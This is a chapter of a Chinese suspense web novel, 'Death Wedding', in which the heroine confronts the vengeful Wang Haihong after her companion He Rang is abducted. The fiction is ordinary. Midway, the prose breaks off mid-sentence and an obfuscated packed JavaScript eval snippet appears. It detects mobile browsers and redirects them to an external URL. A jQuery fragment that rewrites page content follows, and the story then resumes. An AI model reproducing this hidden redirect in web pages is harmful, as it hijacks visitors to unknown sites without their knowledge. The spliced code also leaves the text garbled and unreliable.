53. 都是纸老虎
作品:《死亡婚礼》 进了庙门,穿过小小的院子,矮身钻进一个拱形门,就是寺庙室内了。
看到屋里面的样子,大家皆是一愣。
实在是说不清……这里到底是个寺庙,还是个居所。
四面的墙上和房顶上都绘满了不知名的各种神像,屋子明明不算太小,看起来却满满当当,莫名让人喘不过气来。
进屋正对面应该算是个客厅,有张方形桌子和对称摆放的两把椅子,桌子后面是一个巨大的佛像,佛像旁还有一个直径半米多的陶瓷水缸。房子的东西方向是两个卧室,能看到床,床边墙上凹进去的台面上也摆放了许许多多大大小小的佛像。
二楼的挑高很矮,看起来至多两米,左中右共三扇门,都是紧闭着。
此时,一个身穿绛红色唐装衣裤的女人,正背冲着大门,站在陶瓷水缸旁。她像是有些年岁了,齐肩的短发已经斑白,正抱着胳膊歪着头,一动不动地盯着水缸里。
时阮晴心想,这人应该不是汪海红,看样子……像是在喂鱼?或许是个管家保姆之类的。
眉头有痣的女人走向那短发女子,在她耳边低语了几句,短发女子一挥手,那女人微微颔首,转身离开了。
这时,身旁李光浩像是重心不稳,手中的棍子咣当一声倒在地上。
他脸上的肌肉颤抖着,神情里交织着惊讶,欣喜,恐慌……他踉跄着向前两步,冲着那个背影哑声喊道。
“小……小红?”
时阮晴觉得心跳漏了一拍。
……这个女人就是汪海红?!
听到呼唤,那女人先是一顿,然后缓缓转过身。
渐渐看清她的面容,三人皆是一惊。
这是一张……相当怪异的脸。
她有着一双乌溜溜灵动的大眼睛,脸上明明稚气未脱,却肌肉下垂而且布满了皱纹,头发已经白了一半,还留着年代感十足的短发,简直像给一个小孩子开了老年特效一样。
她……真的是汪海红吗?
她是生了什么病吗?
虽然这样想有点不地道,但是……那个富豪大佬怎么会看上这样的她?
汪海红的眼神幽暗,朝他们三人扫过来,嘴角似笑非笑地勾起,配上她怪异的面容,还没张口说话,就让人心里发毛。
李光浩的双手发抖,一脸不可置信。
“小红……你……你怎么会……”
看着李光浩像是见了鬼的样子,不用他说出后半句,也能猜到他想说什么,汪海红的目光忽然就冷了下来,死死地盯着李光浩。
时过境迁,沧海桑田,万万没想到,在婚礼前,还有和他面对面的机会。
她本打算平静优雅地和李光浩对话,淡定从容地面对今天可能发生的一切,然而李光浩的眼神还是深深刺痛了她。
如果当初,李光浩没有背叛她,那么或许……她也不会走到今天这步吧?
是他毁了她。
也是他,造就了今天的她。
汪海红轻蔑不屑的眼神上下打量了李光浩一番。
“你的问题……还是留着先问问你自己吧。”
李光浩一愣,窘得满脸通红,也有些恍惚怅然。
上一次听到她的声音,简直像是上辈子的事了。
汪海红不想和李光浩多说什么,目光越过他,落在贺让和时阮晴的身上,好奇地一歪脑袋。
“……就是你们俩吗?”
有种上课走小差的时候突然被点名的惊吓感,贺让和时阮晴顿时如临大敌,目光警惕。
然而不等他俩回答,汪海红神秘一笑,俏皮地在耳边打了个响指。
忽然,一根粗糙的麻绳悄然垂下,瞬间套住了贺让的脖子,他还没来得及反应,绳子猛地收紧,一股巨大的力量将他拽离地面。
挣扎声令时阮晴一惊,回过头,看到那个眉头有痣的女人从二楼倒吊下来半个身子,然后猛地向上一拉,贺让整个人被拽了上去,紧接着,两人都消失不见了。
一切发生得太快,时阮晴反应过来的的时候,周围已经恢复如常,就像什么都没有发生过一样。
时阮晴只觉得血液直冲脑顶,对着空荡荡的二楼大喊。
“贺让!贺让!”
然而回应她的只有汪海红的轻笑。
不行,她要去救他!
可是……楼梯呢?
时阮晴慌张地来回寻找,然而……竟然没有找到楼梯。
本以为至少刚见面时,双方可以平和地坐下来谈一谈,万万没想到,汪海红早就准备给他们个下马威了!而那个眉头有痣的女人,除了佣人的身份外,竟然还是个隐藏的打手!
时阮晴越想越气愤,就要朝汪海红冲过去:“汪海红,你到底想干什么!”
李光浩赶紧拦住时阮晴,同时对汪海红轻声开口。
“小红……你这是做什么……那孩子又没有……”
“你闭嘴!”
汪海红厉声打断李光浩,眼神像刀一样射向他,面部肌肉因为情绪激动而微微扭曲。
“收起你这幅伪善的样子,我看了想吐!”
李光浩被吼得浑身一震,顿时定在了原地。
汪海红眼睛里浓浓的恨意几乎要溢出来,他此时才真正意识到,汪海红对他的恨是那么强烈,而且这么多年……丝毫未减。
来之前,他还在脑海中无数次幻想两人一笑泯恩仇的样子……
简直太可笑了,人家凭什么和他一笑泯恩仇?
李光浩紧紧抿住嘴唇,不敢说话了,生怕汪海红对自己的怒气会牵连到时阮晴身上。
汪海红的情绪渐渐平稳下来,可能是意识到了自己的失态,抬手将乱掉的几根发丝轻轻挽回到耳后,转头面对时阮晴。
“你……就是时阮晴?”
时阮晴一愣,脑袋里更乱了,半晌才回应道:“你……认识我?”
汪海红怎么会知道她的名字?
难不成是她和贺让一次次的穿越,在汪海红这里已经有名有号了?
隐约觉得有什么问题被她忽略了,却又没能及时抓住。
汪海红上下打量着时阮晴,心里不由得升起一丝酸意。
其实她俩的年纪相仿,但此时此刻,时阮晴不施脂粉也青春动人,而自己……说像她的奶奶也不为过。
后悔吗?
或许吧。
不过如果重新来一次,她很可能还会做出同样的选择。
但这一切的一切……都是从李光浩背叛自己开始的!
见汪海红沉着脸不回答,时阮晴压抑住自己的怒气,问道:“你把贺让弄哪去了?你要把他怎么样?”
“你果然很关心他啊,”汪海红轻笑,然后又是一歪头,“但我为什么非要告诉你呢?”
脑袋里很乱,时阮晴一瞬间竟说不出来什么,只能愤怒地盯着她。
汪海红无所谓似的转头向水缸里看了看,语气不紧不慢,有点挑衅的意味。
“别忘了,你们是来求我的。”
“求人,就要有个求人的态度。”
时阮晴不禁攥紧了拳头。
是的,其实他们想过,最理想的结果,来到这里之后能探查到汪海红布局婚礼的真实原因和手法,在这个过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175905|156732||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
程中扭转形势,改变结局。
而最差的结果……不就是个死。
她当然也想过,如果没有别的办法,如果跪下磕头恳求汪海红可以改变结局,她也愿意!
但是这是在做了无数努力都不成功的情况下!
却没想到汪海红先发制人,丝毫没有给他们平等对话的机会。
眼前这个情势,时阮晴实在是做不到低声下气地求她。
“求你?求你有用吗?我们求你不要设下婚礼的这个局,你会听吗?更何况就算我们想求你,还没张口你就把我们抓起来了,还有什么可求的!”
汪海红哼笑了一声:“你们的身上又是刀又是毒的……就是这样求人的吗?”
时阮晴一怔。
她怎么知道他们带了些什么?
毒药的事情,就连她也是进屋之前,贺让悄悄对她说的,汪海红是怎么知道的?
看着汪海红的笑脸,时阮晴突然有种奇怪的感觉,至少目前,汪海红对自己并没有太大敌意。
心里有点拿不定主意,却依然想着气势不能输,时阮晴硬着头皮怼她。
“所以说啊,你别得意得太早,我们带着刀子毒药,或许不是为了来求你,而是为了……杀了你呢?”
“杀我?”
汪海红哈哈大笑起来,到最后竟然笑得弯下了腰。
鼓起的气势再次被汪海红戳破,时阮晴紧咬住嘴唇,愤愤地看着她。
许久,汪海红终于停下笑声。
“哎呀真是,好久没有听到这么好笑的笑话了。”
然后抱着胳膊,绕过桌子,边向时阮晴走近边开口。
“你们这种人啊,都是纸老虎,看起来多能耐,但是早已经被这个社会,被所谓的法律禁锢死了。”
“杀人?你会杀人么?你杀过人么?知道杀人是什么感觉么?”
“小妹妹,虚张声势没有用,更何况,你的那个他……现在,还在我手里呢。”
此时汪海红已经走到了时阮晴面前。
冷静!越是这个时候,越是要冷静!
时阮晴直视着汪海红的眼睛,问出了心里刚刚疑惑的问题。
“你为什么不把我也抓起来?”
如果汪海红真的心狠手辣,为了确保婚礼进行,很可能会把贺让和自己杀死,如果她像李光浩说的并没有那么狠辣无情,至少她不会杀了他俩,那么为了让他俩不再从中作梗,或许会打算把他俩囚禁起来?
但是现在,她和贺让是一伙的啊,为什么只抓贺让不抓她?
汪海红的目光泛着凉凉的笑意,说了句让时阮晴意想不到的话。
“因为……你有用啊。”
时阮晴表面没动声色,心脏却砰砰地几乎快要跳出来。
什么意思?她有什么用?
这时,二楼右手边的房门,吱呀一声忽然打开了。
时阮晴一惊,朝上望去,吓得不禁后退一步。
二楼过道的扶手边出现一个极瘦的男子,佝偻着背,眼窝深陷,眸子幽深,乍一看和两个黑窟窿一样。
这男人,莫名有点眼熟呢……
他……
是邵天旗?!
震惊之余,时阮晴的目光被他手上鲜艳的红色吸引过去。
邵天旗的右手沾满了鲜血,手腕上,还挂着一个再熟悉不过的佛牌。
灯光下,他的手指间似是有什么东西,正若隐若现泛着光。
待看清后,时阮晴只觉得脑袋里轰的一声,双手控制不住地颤抖起来。
那……
是贺让的防身戒指。